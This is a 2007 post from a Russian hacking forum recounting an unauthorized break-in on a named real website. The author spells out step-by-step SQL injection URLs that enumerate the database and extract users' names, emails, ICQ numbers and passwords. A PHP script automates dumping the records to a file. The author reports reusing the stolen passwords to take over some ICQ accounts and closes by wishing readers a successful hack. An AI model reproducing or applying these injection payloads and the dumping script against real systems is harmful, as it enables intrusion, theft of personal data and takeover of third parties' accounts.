ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

История одного хака
  #1  
Старый 04.08.2007, 11:14
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию История одного хака

Искал информацию о человеке - обладателе аськи, столь нужной мне. Нашел даже сайт, на котором он её получил в подарок: snegorod.com. Решил покопаться на сайте, нашел SQL-inj:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,9,10, 11/*&minrat=0&numofpage=13

Хмм, для начала неплохо. Постучался в information_schema, повезло

Начал искать интересные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _name,10,11+from+information_schema.tables+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Из интересного нашлось:

admins
userinfo
users


Далее узнал, в каких базах данных находятся данные таблицы:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table _schema,10,11+from+information_schema.tables+where +table_name='имя таблицы'/*&minrat=0&numofpage=13

(отмечу, что на сервере не экранировались кавычки, что придавало еще более комфортные условия )

В итоге я имел:

dating.admins
chat.userinfo
dating.users


Ну что ж, самое время узнать, что за поля прячутся в этих аппетитных табличках:

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,colum n_name,10,11+from+information_schema.columns+where +table_name='имя таблицы'+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Через несколько минут, немного поработав пальчиками, в окне копии блокнота накопилась следующая инфа:

---------------------------------

dating.admins ->

ID
NICK
PASS
RANG
EMAIL
LASTLOGIN
IDUA

---------------------------------

chat.userinfo ->

id
name
realname
email
age
city
country
url
stuff
photo_url
icq_uin

---------------------------------

dating.users ->

ID
NICK
MPASS
PASS
DATEREG
LASTLOGIN
LASTACT
ACTIVE
HIDE
VIEWS
NGOL
SGOL
IPREG
COMMENT
golopen

---------------------------------


Скажу сразу, что инфа, до которой я так упорно подкапывался, оказалась бесполезной. Ну и ладно , можно ведь вытащить базу юзеров и почекать аси/мыла. Как видно из структур таблиц, вся интересная инфа лежит в chat.userinfo (email, icq_uin), а пароль в dating.users. Ну и что?

http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,conca t(chat.userinfo.name,';',chat.userinfo.email,';',c hat.userinfo.icq_uin,';',dating.users.MPASS,';',da ting.users.PASS),10,11+from+chat.userinfo+inner+jo in+dating.users+on+chat.userinfo.name=dating.users .NICK+limit+i,1/*&minrat=0&numofpage=13

где i = 0,1,2 ...

Но вытаскивать записи по одной очень долго и нудно, поэтому я решил написать небольшой скрипт на PHP, который бы это делал за меня. Для начала, результат вывода инъекции я обрамил тэгом <1310></1310> (незнаю, почему этот, просто так захотелось), чтоб потом можно было этот самый результат найти среди груы HTML-мусора.

PHP код:
<?
  
if (!isset($_GET['start']) || !isset($_GET['end']) || $_GET['start'] > $_GET['end'])
    exit;
    
  
$start $_GET['start'];
  
$end $_GET['end'];
  
  
$f fopen('base.txt','a');

  for (
$i $start$i <= $end$i++)
    {
      
$s file_get_contents("http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(char(0x3c,0x31,0x33,0x31,0x30,0x3e),chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS,char(0x3c,0x2f,0x31,0x33,0x31,0x30,0x3e)),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+and+chat.userinfo.icq_uin>0+limit+$i,1/*&minrat=0&numofpage=13");
      
preg_match("/<1310>(.*)<\/1310>/",$s$s2);
      
fwrite($ficonv("UTF-8""CP1251"$s2[1]."\n"));
      
    }
  
fclose($f);
?>
Добавив условие chat.userinfo.icq_uin>0 прогнал скрипт, для начала, на параметрах ?start=0&end=100. Нашлось с десяток кривых девяток, к которым пароль сайта подходил. Мыла не проверял... Ну вот, собсна, и все. Удачного хака!
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
История одного взлома... p-range Авторские статьи 8 07.04.2007 15:05
История одного взлома. Добыча маленьких хакерских радостей. 1ten0.0net1 Авторские статьи 10 23.10.2006 03:22
ТЕМА ДЛЯ ХАКА! davatel E-Mail 8 14.02.2006 08:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ